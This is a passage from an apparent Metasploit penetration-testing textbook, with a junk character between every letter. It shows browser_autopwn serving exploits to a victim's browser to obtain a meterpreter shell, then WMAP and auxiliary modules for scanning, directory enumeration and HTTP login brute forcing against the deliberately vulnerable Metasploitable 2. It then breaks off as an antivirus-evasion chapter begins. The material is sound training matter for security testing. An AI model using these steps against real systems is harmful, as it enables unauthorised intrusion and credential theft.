�I�f� �t�h�e� �v�i�c�t�i�m�'�s� �b�r�o�w�s�e�r� �i�s� �v�u�l�n�e�r�a�b�l�e�,� �t�h�e� �e�x�p�l�o�i�t� �i�s� �s�u�c�c�e�s�s�f�u�l� �a�n�d� �t�h�e� �a�t�t�a�c�k�e�r� �g�e�t�s�5�.
�a� �m�e�t�e�r�p�r�e�t�e�r� �s�h�e�l�l�.
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�F�r�o�m� �t�h�e� msfconsole �,� �s�e�l�e�c�t� �t�h�e� browser_autopwn � �m�o�d�u�l�e� �u�s�i�n�g� �t�h�e� �u�s�e
auxiliary/server/browser_autopwn � �c�o�m�m�a�n�d� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.
�T�h�e�n�,� �c�o�n�f�i�g�u�r�e� �t�h�e� �v�a�l�u�e� �o�f� �t�h�e� �L�H�O�S�T� �v�a�r�i�a�b�l�e� �a�n�d� �r�u�n� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�:

�R�u�n�n�i�n�g� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �w�i�l�l� �c�r�e�a�t�e� �m�a�n�y� �d�i�f�f�e�r�e�n�t� �i�n�s�t�a�n�c�e�s� �o�f� �e�x�p�l�o�i�t�/�p�a�y�l�o�a�d
�c�o�m�b�i�n�a�t�i�o�n�s� �a�s� �t�h�e� �v�i�c�t�i�m� �m�i�g�h�t� �b�e� �u�s�i�n�g� �a�n�y� �k�i�n�d� �o�f� �b�r�o�w�s�e�r�:
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�O�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �o�u�r� �v�i�c�t�i�m� �o�p�e�n�e�d� �u�p� �a�n� �I�n�t�e�r�n�e�t� �E�x�p�l�o�r�e�r� �a�n�d� �t�r�i�e�d� �t�o� �h�i�t� �t�h�e
�m�a�l�i�c�i�o�u�s� �U�R�L� http://192.168.44.134:8080 � �(�t�h�a�t� �w�e� �s�e�t�u�p� �u�s�i�n�g� �t�h�e
browser_autopwn � �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�)�:



�C�l�i�e�n�t�-�s�i�d�e� �A�t�t�a�c�k�s� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t

�[� �1�2�1� �]

�B�a�c�k� �o�n� �o�u�r� �M�e�t�a�s�p�l�o�i�t� �s�y�s�t�e�m�,� �w�e� �g�o�t� �a� �m�e�t�e�r�p�r�e�t�e�r� �s�h�e�l�l� �a�s� �s�o�o�n� �a�s� �o�u�r� �v�i�c�t�i�m� �o�p�e�n�e�d� �t�h�e
�s�p�e�c�i�a�l�l�y� �c�r�a�f�t�e�d� �U�R�L�:

�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �l�e�a�r�n�e�d� �h�o�w� �t�o� �u�s�e� �v�a�r�i�o�u�s� �t�o�o�l�s� �a�n�d� �t�e�c�h�n�i�q�u�e�s� �i�n� �o�r�d�e�r� �t�o� �l�a�u�n�c�h
�a�d�v�a�n�c�e�d� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s� �a�n�d� �b�y�p�a�s�s� �t�h�e� �n�e�t�w�o�r�k� �p�e�r�i�m�e�t�e�r� �r�e�s�t�r�i�c�t�i�o�n�s�.

�I�n� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �d�e�e�p� �d�i�v�e� �i�n�t�o� �M�e�t�a�s�p�l�o�i�t�'�s� �c�a�p�a�b�i�l�i�t�i�e�s� �f�o�r� �t�e�s�t�i�n�g� �t�h�e� �s�e�c�u�r�i�t�y� �o�f
�w�e�b� �a�p�p�l�i�c�a�t�i�o�n�s�.

�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�G�e�t� �f�a�m�i�l�i�a�r� �w�i�t�h� �v�a�r�i�o�u�s� �p�a�r�a�m�e�t�e�r�s� �a�n�d� �s�w�i�t�c�h�e�s� �o�f� msfvenom

�E�x�p�l�o�r�e� �v�a�r�i�o�u�s� �o�t�h�e�r� �s�o�c�i�a�l� �e�n�g�i�n�e�e�r�i�n�g� �t�e�c�h�n�i�q�u�e�s� �p�r�o�v�i�d�e�d� �b�y� �S�o�c�i�a�l
�E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t
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�W�e�b� �A�p�p�l�i�c�a�t�i�o�n� �S�c�a�n�n�i�n�g� �w�i�t�h

�M�e�t�a�s�p�l�o�i�t
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �c�h�a�p�t�e�r�,� �w�e� �h�a�d� �a�n� �o�v�e�r�v�i�e�w� �o�f� �h�o�w� �M�e�t�a�s�p�l�o�i�t� �c�a�n� �b�e� �u�s�e�d� �t�o� �l�a�u�n�c�h
�d�e�c�e�p�t�i�v�e� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �y�o�u� �w�i�l�l� �l�e�a�r�n� �v�a�r�i�o�u�s� �f�e�a�t�u�r�e�s� �o�f� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d� �t�o� �d�i�s�c�o�v�e�r� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �w�i�t�h�i�n� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n�s�.
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �w�i�l�l� �c�o�v�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s�:

�S�e�t�t�i�n�g� �u�p� �a� �v�u�l�n�e�r�a�b�l�e� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n
�W�e�b� �a�p�p�l�i�c�a�t�i�o�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�i�n�g� �w�i�t�h� �W�M�A�P
�M�e�t�a�s�p�l�o�i�t� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �f�o�r� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �e�n�u�m�e�r�a�t�i�o�n� �a�n�d� �s�c�a�n�n�i�n�g

�S�e�t�t�i�n�g� �u�p� �a� �v�u�l�n�e�r�a�b�l�e� �a�p�p�l�i�c�a�t�i�o�n
�B�e�f�o�r�e� �w�e� �s�t�a�r�t� �e�x�p�l�o�r�i�n�g� �v�a�r�i�o�u�s� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �s�c�a�n�n�i�n�g� �f�e�a�t�u�r�e�s� �o�f�f�e�r�e�d� �b�y� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �w�e� �n�e�e�d� �t�o� �s�e�t� �u�p� �a� �t�e�s�t� �a�p�p�l�i�c�a�t�i�o�n� �e�n�v�i�r�o�n�m�e�n�t� �i�n� �w�h�i�c�h� �w�e� �c�a�n
�f�i�r�e� �o�u�r� �t�e�s�t�s�.� �A�s� �d�i�s�c�u�s�s�e�d� �i�n� �t�h�e� �i�n�i�t�i�a�l� �c�h�a�p�t�e�r�s�,� �M�e�t�a�s�p�l�o�i�t�a�b�l�e� �2� �i�s� �a� �L�i�n�u�x� �d�i�s�t�r�i�b�u�t�i�o�n� �t�h�a�t
�i�s� �d�e�l�i�b�e�r�a�t�e�l�y� �m�a�d�e� �v�u�l�n�e�r�a�b�l�e�.� �I�t� �a�l�s�o� �c�o�n�t�a�i�n�s� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n�s� �t�h�a�t� �a�r�e� �i�n�t�e�n�t�i�o�n�a�l�l�y
�m�a�d�e� �v�u�l�n�e�r�a�b�l�e�,� �a�n�d� �w�e� �c�a�n� �l�e�v�e�r�a�g�e� �t�h�i�s� �t�o� �p�r�a�c�t�i�c�e� �u�s�i�n�g� �M�e�t�a�s�p�l�o�i�t�'�s� �w�e�b� �s�c�a�n�n�i�n�g
�m�o�d�u�l�e�s�.
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�I�n� �o�r�d�e�r� �t�o� �g�e�t� �t�h�e� �v�u�l�n�e�r�a�b�l�e� �t�e�s�t� �a�p�p�l�i�c�a�t�i�o�n� �u�p� �a�n�d� �r�u�n�n�i�n�g�,� �s�i�m�p�l�y� �b�o�o�t� �i�n�t�o
metasploitable 2 � �L�i�n�u�x� �a�n�d� �a�c�c�e�s�s� �i�t� �r�e�m�o�t�e�l�y� �f�r�o�m� �a�n�y� �o�f� �t�h�e� �w�e�b� �b�r�o�w�s�e�r�s�,� �a�s� �s�h�o�w�n
�i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�T�h�e�r�e� �a�r�e� �t�w�o� �d�i�f�f�e�r�e�n�t� �v�u�l�n�e�r�a�b�l�e� �a�p�p�l�i�c�a�t�i�o�n�s� �t�h�a�t� �r�u�n� �b�y� �d�e�f�a�u�l�t� �o�n� �t�h�e� �m�e�t�a�s�p�l�o�i�t�a�b�l�e� �2
�d�i�s�t�r�i�b�u�t�i�o�n�,� �M�u�t�i�l�l�i�d�a�e� �a�n�d� �D�a�m�n� �V�u�l�n�e�r�a�b�l�e� �W�e�b� �A�p�p�l�i�c�a�t�i�o�n� �(�D�V�W�A�)�.� �T�h�e� �v�u�l�n�e�r�a�b�l�e
�a�p�p�l�i�c�a�t�i�o�n� �c�a�n� �b�e� �o�p�e�n�e�d� �f�o�r� �f�u�r�t�h�e�r� �t�e�s�t�s�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�W�e�b� �a�p�p�l�i�c�a�t�i�o�n� �s�c�a�n�n�i�n�g� �u�s�i�n�g� �W�M�A�P
�W�M�A�P� �i�s� �a� �p�o�w�e�r�f�u�l� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�e�r� �a�v�a�i�l�a�b�l�e� �i�n� �K�a�l�i� �L�i�n�u�x�.� �I�t� �i�s
�i�n�t�e�g�r�a�t�e�d� �i�n�t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�n� �t�h�e� �f�o�r�m� �o�f� �a� �p�l�u�g�i�n�.� �I�n� �o�r�d�e�r� �t�o� �u�s�e� �W�M�A�P�,
�w�e� �f�i�r�s�t� �n�e�e�d� �t�o� �l�o�a�d� �a�n�d� �i�n�i�t�i�a�t�e� �t�h�e� �p�l�u�g�i�n� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �f�r�a�m�e�w�o�r�k�,� �a�s� �s�h�o�w�n� �i�n
�t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�O�n�c�e� �t�h�e� wmap� �p�l�u�g�i�n� �i�s� �l�o�a�d�e�d� �i�n�t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �t�h�e� �n�e�x�t� �s�t�e�p� �i�s� �t�o� �c�r�e�a�t�e� �a
�n�e�w� �s�i�t�e� �o�r� �w�o�r�k�s�p�a�c�e� �f�o�r� �o�u�r� �s�c�a�n�.� �O�n�c�e� �t�h�e� �s�i�t�e� �h�a�s� �b�e�e�n� �c�r�e�a�t�e�d�,� �w�e� �n�e�e�d� �t�o� �a�d�d� �t�h�e
�t�a�r�g�e�t� �U�R�L� �t�o� �b�e� �s�c�a�n�n�e�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�N�o�w� �t�h�a�t� �w�e� �h�a�v�e� �c�r�e�a�t�e�d� �a� �n�e�w� �s�i�t�e� �a�n�d� �d�e�f�i�n�e�d� �o�u�r� �t�a�r�g�e�t�,� �w�e� �n�e�e�d� �t�o� �c�h�e�c�k� �w�h�i�c�h
�W�M�A�P� �m�o�d�u�l�e�s� �w�o�u�l�d� �b�e� �a�p�p�l�i�c�a�b�l�e� �a�g�a�i�n�s�t� �o�u�r� �t�a�r�g�e�t�.� �F�o�r� �e�x�a�m�p�l�e�,� �i�f� �o�u�r� �t�a�r�g�e�t� �i�s� �n�o�t
�S�S�L�-�e�n�a�b�l�e�d�,� �t�h�e�n� �t�h�e�r�e�'�s� �n�o� �p�o�i�n�t� �i�n� �r�u�n�n�i�n�g� �S�S�L�-�r�e�l�a�t�e�d� �t�e�s�t�s� �a�g�a�i�n�s�t� �t�h�i�s�.� �T�h�i�s� �c�a�n� �b�e
�d�o�n�e� �u�s�i�n�g� �t�h�e� wmap_run -t � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�N�o�w� �t�h�a�t� �w�e� �h�a�v�e� �e�n�u�m�e�r�a�t�e�d� �t�h�e� �m�o�d�u�l�e�s� �t�h�a�t� �a�r�e� �a�p�p�l�i�c�a�b�l�e� �f�o�r� �t�h�e� �t�e�s�t� �a�g�a�i�n�s�t� �o�u�r
�v�u�l�n�e�r�a�b�l�e� �a�p�p�l�i�c�a�t�i�o�n�,� �w�e� �c�a�n� �p�r�o�c�e�e�d� �w�i�t�h� �t�h�e� �a�c�t�u�a�l� �t�e�s�t� �e�x�e�c�u�t�i�o�n�.� �T�h�i�s� �c�a�n� �b�e� �d�o�n�e� �b�y
�u�s�i�n�g� �t�h�e� wmap_run -e � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�U�p�o�n� �s�u�c�c�e�s�s�f�u�l� �e�x�e�c�u�t�i�o�n� �o�f� �t�h�e� �t�e�s�t�s� �o�n� �o�u�r� �t�a�r�g�e�t� �a�p�p�l�i�c�a�t�i�o�n�,� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �(�i�f� �a�n�y
�h�a�v�e� �b�e�e�n� �f�o�u�n�d�)� �a�r�e� �s�t�o�r�e�d� �o�n� �M�e�t�a�s�p�l�o�i�t�'�s� �i�n�t�e�r�n�a�l� �d�a�t�a�b�a�s�e�.� �T�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �c�a�n� �t�h�e�n
�b�e� �l�i�s�t�e�d� �u�s�i�n�g� �t�h�e� wmap_vulns -l � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�M�e�t�a�s�p�l�o�i�t� �A�u�x�i�l�i�a�r�i�e�s� �f�o�r� �W�e�b� �A�p�p�l�i�c�a�t�i�o�n
�e�n�u�m�e�r�a�t�i�o�n� �a�n�d� �s�c�a�n�n�i�n�g
�W�e� �h�a�v�e� �a�l�r�e�a�d�y� �s�e�e�n� �s�o�m�e� �o�f� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �f�o�r
�e�n�u�m�e�r�a�t�i�n�g� �H�T�T�P� �s�e�r�v�i�c�e�s� �i�n� Chapter 4 �,� �I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�.� �N�e�x�t�,� �w�e�'�l�l
�e�x�p�l�o�r�e� �s�o�m�e� �a�d�d�i�t�i�o�n�a�l� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �t�h�a�t� �c�a�n� �b�e� �e�f�f�e�c�t�i�v�e�l�y� �u�s�e�d� �f�o�r� �e�n�u�m�e�r�a�t�i�o�n� �a�n�d
�s�c�a�n�n�i�n�g� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n�s�:

�c�e�r�t�:� �T�h�i�s� �m�o�d�u�l�e� �c�a�n� �b�e� �u�s�e�d� �t�o� �e�n�u�m�e�r�a�t�e� �w�h�e�t�h�e�r� �t�h�e� �c�e�r�t�i�f�i�c�a�t�e� �o�n� �t�h�e� �t�a�r�g�e�t
�w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �i�s� �a�c�t�i�v�e� �o�r� �e�x�p�i�r�e�d�.� �I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s
auxiliary/scanner/http/cert �,� �t�h�e� �u�s�e� �o�f� �w�h�i�c�h� �i�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:

�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�I�t� �i�s� �a�l�s�o� �p�o�s�s�i�b�l�e� �t�o� �r�u�n� �t�h�e� �m�o�d�u�l�e� �s�i�m�u�l�t�a�n�e�o�u�s�l�y� �o�n� �m�u�l�t�i�p�l�e� �t�a�r�g�e�t�s� �b�y
�s�p�e�c�i�f�y�i�n�g� �a� �f�i�l�e� �c�o�n�t�a�i�n�i�n�g� �a� �l�i�s�t� �o�f� �t�a�r�g�e�t� �I�P� �a�d�d�r�e�s�s�e�s�,� �f�o�r� �e�x�a�m�p�l�e�,� �s�e�t
�R�H�O�S�T�S� /root/targets.lst �.
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dir_scanner �:� �T�h�i�s� �m�o�d�u�l�e� �c�h�e�c�k�s� �f�o�r� �t�h�e� �p�r�e�s�e�n�c�e� �o�f� �v�a�r�i�o�u�s� �d�i�r�e�c�t�o�r�i�e�s� �o�n� �t�h�e
�t�a�r�g�e�t� �w�e�b� �s�e�r�v�e�r�.� �T�h�e�s�e� �d�i�r�e�c�t�o�r�i�e�s� �c�a�n� �r�e�v�e�a�l� �s�o�m�e� �i�n�t�e�r�e�s�t�i�n�g� �i�n�f�o�r�m�a�t�i�o�n� �s�u�c�h
�a�s� �c�o�n�f�i�g�u�r�a�t�i�o�n� �f�i�l�e�s� �a�n�d� �d�a�t�a�b�a�s�e� �b�a�c�k�u�p�s�.� �I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s
auxiliary/scanner/http/dir_scanner � �t�h�a�t� �i�s� �u�s�e�d� �a�s� �s�e�e�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:

�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
enum_wayback �:� h  t  t  p  ://w  w w .  a  r  c  h  i  v  e  .  o  r  g  �s�t�o�r�e�s� �a�l�l� �t�h�e� �h�i�s�t�o�r�i�c�a�l� �v�e�r�s�i�o�n�s� �a�n�d
�d�a�t�a� �o�f� �a�n�y� �g�i�v�e�n� �w�e�b�s�i�t�e�.� �I�t� �i�s� �l�i�k�e� �a� �t�i�m�e� �m�a�c�h�i�n�e� �t�h�a�t� �c�a�n� �s�h�o�w� �y�o�u� �h�o�w� �a
�p�a�r�t�i�c�u�l�a�r� �w�e�b�s�i�t�e� �l�o�o�k�e�d� �y�e�a�r�s� �a�g�o�.� �T�h�i�s� �c�a�n� �b�e� �u�s�e�f�u�l� �f�o�r� �t�a�r�g�e�t� �e�n�u�m�e�r�a�t�i�o�n�.
�T�h�e� enum_wayback � �m�o�d�u�l�e� �q�u�e�r�i�e�s� h  t  t  p  ://w  w w .  a  r  c  h  i  v  e  .  o  r  g  �,� �t�o� �f�e�t�c�h� �t�h�e
�h�i�s�t�o�r�i�c�a�l� �v�e�r�s�i�o�n�s� �o�f� �t�h�e� �t�a�r�g�e�t� �w�e�b�s�i�t�e�.
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�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/enum_wayback
�t�h�a�t� �i�s� �u�s�e�d� �a�s� �s�e�e�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �T�a�r�g�e�t� �d�o�m�a�i�n� �n�a�m�e� �w�h�o�s�e� �a�r�c�h�i�v�e� �i�s� �t�o� �b�e� �q�u�e�r�i�e�d� �f�o�r
files_dir �:� �T�h�i�s� �m�o�d�u�l�e� �s�e�a�r�c�h�e�s� �t�h�e� �t�a�r�g�e�t� �f�o�r� �t�h�e� �p�r�e�s�e�n�c�e� �o�f� �a�n�y� �f�i�l�e�s� �t�h�a�t
�m�i�g�h�t� �h�a�v�e� �b�e�e�n� �l�e�f�t� �o�n� �t�h�e� �w�e�b� �s�e�r�v�e�r� �u�n�k�n�o�w�i�n�g�l�y�.� �T�h�e�s�e� �f�i�l�e�s� �i�n�c�l�u�d�e� �s�o�u�r�c�e
�c�o�d�e�,� �b�a�c�k�u�p� �f�i�l�e�s�,� �c�o�n�f�i�g�u�r�a�t�i�o�n� �f�i�l�e�s�,� �a�r�c�h�i�v�e�s�,� �a�n�d� �p�a�s�s�w�o�r�d� �f�i�l�e�s�.� �I�t�s� �a�u�x�i�l�i�a�r�y
�m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/files_dir �,� �a�n�d� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �h�o�w� �t�o� �u�s�e� �i�t�:
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�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

http_login �:� �T�h�i�s� �m�o�d�u�l�e� �t�r�i�e�s� �t�o� �b�r�u�t�e� �f�o�r�c�e� �t�h�e� �H�T�T�P�-�b�a�s�e�d� �a�u�t�h�e�n�t�i�c�a�t�i�o�n� �i�f
�e�n�a�b�l�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �I�t� �u�s�e�s� �t�h�e� �d�e�f�a�u�l�t� �u�s�e�r�n�a�m�e� �a�n�d� �p�a�s�s�w�o�r�d
�d�i�c�t�i�o�n�a�r�i�e�s� �a�v�a�i�l�a�b�l�e� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e
�n�a�m�e� �i�s� auxiliary/scanner/http/http_login �,� �a�n�d� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t
�s�h�o�w�s� �h�o�w� �t�o� �u�s�e� �i�t�:
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�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
options �:� �T�h�i�s� �m�o�d�u�l�e� �c�h�e�c�k�s� �w�h�e�t�h�e�r� �v�a�r�i�o�u�s� HTTP� �m�e�t�h�o�d�s� �s�u�c�h� �a�s� TRACE� �a�n�d
HEAD� �a�r�e� �e�n�a�b�l�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �w�e�b� �s�e�r�v�e�r�.� �T�h�e�s�e� �m�e�t�h�o�d�s� �a�r�e� �o�f�t�e�n� �n�o�t� �r�e�q�u�i�r�e�d
�a�n�d� �c�a�n� �b�e� �u�s�e�d� �b�y� �t�h�e� �a�t�t�a�c�k�e�r� �t�o� �p�l�o�t� �a�n� �a�t�t�a�c�k� �v�e�c�t�o�r�.� �I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e
�n�a�m�e� �i�s� auxiliary/scanner/http/options � �,� �a�n�d� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t
�s�h�o�w�s� �h�o�w� �t�o� �u�s�e� �i�t�:
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�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
http_version �:� �T�h�i�s� �m�o�d�u�l�e� �e�n�u�m�e�r�a�t�e�s� �t�h�e� �t�a�r�g�e�t� �a�n�d� �r�e�t�u�r�n�s� �t�h�e� �e�x�a�c�t� �v�e�r�s�i�o�n
�o�f� �t�h�e� �w�e�b� �s�e�r�v�e�r� �a�n�d� �u�n�d�e�r�l�y�i�n�g� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�.� �T�h�e� �v�e�r�s�i�o�n� �i�n�f�o�r�m�a�t�i�o�n� �c�a�n
�t�h�e�n� �b�e� �u�s�e�d� �t�o� �l�a�u�n�c�h� �s�p�e�c�i�f�i�c� �a�t�t�a�c�k�s�.� �I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s
auxiliary/scanner/http/http_version �,� �a�n�d� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t
�s�h�o�w�s� �h�o�w� �t�o� �u�s�e� �i�t�:

�T�h�e� �p�a�r�a�m�e�t�e�r�s� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �e�x�p�l�o�r�e�d� �v�a�r�i�o�u�s� �f�e�a�t�u�r�e�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d
�f�o�r� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �s�e�c�u�r�i�t�y� �s�c�a�n�n�i�n�g�.� �M�o�v�i�n�g� �a�h�e�a�d� �t�o� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�,� �y�o�u� �w�i�l�l� �l�e�a�r�n
�v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d� �t�o� �h�i�d�e� �o�u�r� �p�a�y�l�o�a�d�s� �f�r�o�m� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �a�n�d� �c�l�e�a�r
�o�u�r� �t�r�a�c�k�s� �a�f�t�e�r� �c�o�m�p�r�o�m�i�s�i�n�g� �t�h�e� �s�y�s�t�e�m�.
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�E�x�e�r�c�i�s�e�s
�F�i�n�d� �a�n�d� �e�x�p�l�o�i�t� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �v�u�l�n�e�r�a�b�l�e� �a�p�p�l�i�c�a�t�i�o�n�s�:

�D�V�W�A
�M�u�t�i�l�l�i�d�a�e
�O�W�A�S�P� �W�e�b�g�o�a�t



�8
�A�n�t�i�v�i�r�u�s� �E�v�a�s�i�o�n� �a�n�d� �A�n�t�i�-

�F�o�r�e�n�s�i�c�s
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �t�w�o� �c�h�a�p�t�e�r�s�,� �y�o�u� �l�e�a�r�n�e�d� �h�o�w� �t�o� �l�e�v�e�r�a�g�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�o
�g�e�n�e�r�a�t�e� �c�u�s�t�o�m� �p�a�y�l�o�a�d�s� �a�n�d� �l�a�u�n�c�h� �a�d�v�a�n�c�e�d� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s�.� �H�o�w�e�v�e�r�,� �t�h�e� �p�a�y�l�o�a�d�s
